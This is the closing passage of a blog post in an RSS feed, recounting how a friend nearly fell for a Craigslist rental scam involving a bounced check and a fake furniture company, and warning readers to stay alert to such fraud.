In the subsequent conversations, the respondent requested my friend to collect delivery of the furniture for his apartment (which he had indicated that he was going to rent). The respondent said that he would send a check to her and she should then collect the delivery of the furniture and pay the furniture company out of her own pocket. The respondent even sent in a personal check to my friend in advance.  She deposited it and sure enough, the amount showed up in the bank account.  But what had her spooked out, was how could someone give away a check to some one just like that.  For some reason, due to a weird hunch, she decided that she was not going to engage in any financial transactions on the behalf of someone who was sitting hundreds of miles away who she barely knew.  In the end, it was this hunch that saved her from losing the money.<br />
So the respondent (thinking that my friend had agreed to undertake the transaction on his behalf) gave her the phone number and information of the furniture company.  My friend googled the furniture company but could not find anything.  Moreover, the furniture company would not even pick up the phone.  This put my friend in doubt over the dubiousness of the potential renter.  As it turned out, that the check bounced a couple of days later and if she&#8217;d paid the furniture company it might have been used as a way to steal money from my unsuspecting friend.<br />
I guess what could be interesting to know here is that if there was a legitimate phone number (say from Google voice) and a legitimate website (which costs a few dollars for a month now), then my friend could have possibly been duped.<br />
This serves as a reminder to us of the reality of the world we&#8217;re living in where scammers are looking for an opportunity to dupe us.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rajatswarup.com/blog/2010/12/06/craigslist-scams/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

